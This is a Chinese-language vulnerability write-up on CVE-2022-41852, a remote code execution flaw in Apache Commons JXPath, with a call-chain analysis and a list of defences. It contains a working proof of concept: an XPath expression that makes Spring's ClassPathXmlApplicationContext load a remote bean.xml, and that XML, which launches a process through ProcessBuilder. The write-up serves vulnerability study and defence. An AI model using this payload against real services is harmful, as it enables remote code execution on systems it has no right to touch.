Apache Commons JXPath 远程代码执行(CVE-2022-41852)
字数 1415 2025-08-26 22:11:45
Apache Commons JXPath 远程代码执行漏洞分析(CVE-2022-41852)
漏洞概述
Apache Commons JXPath 是一个Java库,实现了XPath语言规范。该库在处理不受信任的XPath表达式时存在远程代码执行漏洞(CVE-2022-41852)。攻击者可以构造特殊的XPath表达式从类路径加载任意Java类,导致任意代码执行。
漏洞影响范围
- 影响版本:所有版本的commons-jxpath
- 安全版本:无官方修复版本(建议禁用或限制使用)
漏洞原理
JXPathContext类中处理XPath字符串的函数(除compile()和compilePath()外)都存在此漏洞。JXPath支持标准扩展函数,这些函数本质上提供了到Java的桥梁,可以:
- 调用对象上的方法
- 调用类上的静态方法
- 使用任何构造函数创建对象
攻击者可以利用这一特性构造XPath表达式来执行任意Java代码。
漏洞复现步骤
1. 环境准备
在Maven项目中添加依赖:
<!-- commons-jxpath -->
<dependency>
<groupId>commons-jxpath</groupId>
<artifactId>commons-jxpath</artifactId>
<version>1.3</version>
</dependency>
<!-- Spring依赖(用于利用) -->
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context-support</artifactId>
<version>5.3.23</version>
</dependency>
2. 漏洞利用代码
import org.apache.commons.jxpath.JXPathContext;
public class JXpathDemo {
public static void main(String[] args) {
try{
JXPathContext context = JXPathContext.newContext(null);
String key = (String) context.getValue(
"org.springframework.context.support.ClassPathXmlApplicationContext.new(\"http://127.0.0.1:8080/bean.xml\")");
System.out.println(key);
}catch (Exception exception){
exception.printStackTrace();
}
}
}
3. 恶意XML文件(bean.xml)
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:p="http://www.springframework.org/schema/p"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value>calc.exe</value>
</list>
</constructor-arg>
</bean>
</beans>
漏洞分析
关键调用链
-
org.apache.commons.jxpath.ri.compiler.ExtensionFunction#computeValue- 通过
context.getRootContext().getFunction(functionName, parameters)获取函数 - 然后调用
function.invoke(context, parameters)
- 通过
-
org.apache.commons.jxpath.PackageFunctions#getFunction- 检查类名是否存在
- 根据方法是构造函数还是静态方法返回:
org.apache.commons.jxpath.functions.ConstructorFunctionorg.apache.commons.jxpath.functions.MethodFunction
-
org.apache.commons.jxpath.functions.ConstructorFunction#invoke- 利用构造函数创建对象
- 本例中利用Spring的
ClassPathXmlApplicationContext加载远程XML
技术细节
漏洞利用主要依赖两种Spring类:
org.springframework.context.support.ClassPathXmlApplicationContextorg.springframework.context.support.FileSystemXmlApplicationContext
这些类的构造函数可以加载远程XML配置文件,而XML中可定义恶意bean实现RCE。
防御措施
- 避免使用JXPath处理不受信任的XPath表达式
- 如果必须使用,仅使用
compile()和compilePath()方法(这两个方法不受影响) - 升级到最新版本(但截至分析时官方尚未发布修复版本)
- 实施严格的输入验证和过滤
总结
该漏洞源于JXPath对XPath表达式的过度权限控制,允许通过标准扩展函数直接调用Java方法。攻击者可利用此特性加载任意类并执行恶意代码,特别是结合Spring框架的XML配置功能,可轻松实现远程代码执行。